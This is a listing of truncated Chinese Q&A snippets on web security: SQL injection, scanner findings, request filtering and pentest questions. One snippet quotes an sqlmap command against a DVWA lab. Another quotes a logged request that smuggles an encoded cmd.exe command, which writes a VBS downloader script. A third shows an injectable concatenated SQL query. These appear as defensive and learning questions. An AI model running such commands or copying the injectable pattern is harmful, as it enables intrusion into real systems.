我正在使用sqlmap来利用DVWA项目中的数据库。sqlmap -u "http://192.168.71.130/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" -p id --cookie="security=low; PHPSESSID=kikm4b9s9tdk5kq21cs20jt9j1;" --current-usersqlmap -u "http://192.168.7
浏览 0提问于2018-04-11得票数 0
回答已采纳
我读过sql注入漏洞可能非常危险，因为服务器可能泄露用户密码和信用卡信息。SELECT * FROM users WHERE name = '" + userName + "';
浏览 0提问于2012-09-26得票数 0
如何防止使用以下查询对阿波罗服务器进行嵌套攻击： authors { posts { author { [n post] } } }换句话说，如何限制在查询中提交的递归的数量这可能是一个潜在的服务器漏洞。
浏览 13提问于2016-05-20得票数 64
回答已采纳
如果你访问(虚拟ip)：http:someipaddress/ZNYTMHXO.ashx但是，如果您使用相同的url，但在查询字符串中使用aspxerrorpath=/pci扫描失败。抱歉，我应该声明ZNYTMHXO.ashx并不存在。404重定向在查询字符串中不存在asperrorpath时有效。
-UPDATE-只是为了说明一下，这是显示
浏览 0提问于2013-04-12得票数 1
回答已采纳
1回答
它也有缺点，特别是：
{ "type": 1 ]我遇到的问题是，我仍然从根本上查询漏洞，并且不知道如何在查询中“引爆”漏洞。具体来说(我相信我的问题会被这个系
浏览 3提问于2017-08-01得票数 0
回答已采纳
1回答
URL参数操作和注入
、、、、
如果查询字符串上存在参数"p“，则在我的主页上指向Site 2的所有URL上进行替换，现在传递通过查询字符串传入的值，如下所示：至p=value">Link </a>mysite.com?p=123
我不处理查询字符串，我只需要得到p的值并使用该参数生成第二个url
浏览 0提问于2019-12-04得票数 4
回答已采纳
2回答
我在我的Ubuntu14.04 apache2 access.log中找到了这个请求：
xxx.228.207.244 - - [25/Sep/2014:17:52:03 -0400] "GET /?search==%00{.exec|cmd.exe+%2Fc+echo%3E22222.vbs+dim+wait%2Cquit%2Cout%3ASet+xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3ASet+WshShell+%3D+Wscript.CreateObject%28%22WScript.Shell%22%29+%3ADS%3
浏览 0提问于2014-09-26得票数 2
回答已采纳
1回答
我有一个Glassfish 4.1.1服务器，有一个用MCafee漏洞管理器进行的漏洞扫描，发现服务器在管理服务器(端口4848)上有泄漏漏洞FID 10109 (端口4848)我搜索并且只找到目录横向漏洞的解决方案，有谁解决了这个漏洞？
浏览 8提问于2017-03-15得票数 2
回答已采纳
我读过这个：在拒绝意外查询参数时，我应该有多严格？但我刚接到保安人员的要求我必须这么做。不仅用于意外查询字符串，而且也适用于意外的cookie、标头和意外的所有内容。推理：
技术堆栈中的某些组件可能存在缓冲区溢出、sql注入或其他此类漏洞等漏洞。请求中的意外数据可能是恶意尝试查找和利用此类漏洞。因此，在这种情况下，需要返回4xx响应。黑匣子应该被配置为检测4xx响应的尖峰，并做出适当的反应:禁止产生此类响应的ip，通知管理员服务器</
浏览 0提问于2021-06-10得票数 0
回答已采纳
我需要实现一个服务器，可以通过互联网公开访问。服务器有一个非常简单的任务：
服务器通常受到的负载是最小的，但是由于没有访问限制，服务器显然可以受到DOS等的攻击一个
浏览 7提问于2011-03-17得票数 7
回答已采纳
1回答
我试图查询位置db，geofire，但不希望从客户端完全打开查询。还有其他保护查询数据的办法吗？谢谢。
浏览 3提问于2022-02-25得票数 0
2回答
从单元测试的角度看 :是否有任何(更喜欢开源的)工具来测试建立在ASP.NET MVC、手动或自动基础上的网站的漏洞，这些漏洞可以用于质量保证？
浏览 4提问于2013-05-12得票数 9
我正在查看我的apache服务器日志，当有人扫描服务器上的漏洞时，我总是在他们的查询字符串中看到这一点……就像下面的例子一样…….我正在考虑使用它作为我可以过滤fail2ban的东西
浏览 4提问于2013-06-07得票数 5
我有下面的登录脚本，我已经尽力让它安全，但是有一个人黑了我的脚本，给我发了一封他能够登录的电子邮件，他还给我发送了我的数据库信息，比如管理密码等等。<?include("../global.inc.php");
{
$objAdmin = new admin();
$verifyAdmin=$objAdmin->
浏览 7提问于2012-11-11得票数 0
2回答
mongodb注入可能性
、、、
我是mongodb的新手，我在服务器端(节点js)使用这个查询， collection.col.aggregate(我想知道这种方法是否会导致像sql注入这样的安全漏洞。如果是，漏洞有多严重？攻击者是否有可能执行除只读操作之外的其他操作？
谢谢你提前..。
浏览 3提问于2015-01-02得票数 1
回答已采纳
2回答
我正在使用Linux 6/7操作系统在服务器上进行渗透测试。http://www.cvedetails.com/等漏洞数据库提到了Linux系统中JavaCVE-2014-2483的漏洞。我寻找方法，可以测试我的目的地的漏洞，但我没有找到任何东西。
如何测试服务器是否存在此漏洞？
浏览 0提问于2015-05-10得票数 2
在OAuth 2.0流中，授权服务器将授权代码发送到重定向端点，然后网页必须再次访问服务器才能获得单独的访问令牌来查询受保护的API。有一个帖子，但它并没有真正地解释背后的设计理由。
浏览 3提问于2017-10-03得票数 4
回答已采纳
我编写了一个大型查询，并在我的sql程序中进行了测试，成功地插入了一行。在Node中，我基本上把这个查询转换成一个字符串并运行它，这样我就可以从我的服务器插入数据。86400; SET @UNIX_WEEK = 604800; SET @INITIAL_TRANSACTION_TIME = 14' at line 1] code: 1064 }
我输入的这个查询字符串已确认工作正常，但当我在Node中执行查询时，我会得到一个语法错误。
浏览 1提问于2016-05-30得票数 0
回答已采纳
扫码
添加站长 进交流群
领取专属 10元无门槛券
手把手带您无忧上云
相关资讯
热门标签
云服务器
ICP备案
云直播
对象存储
腾讯会议活动推荐
腾讯云开发者
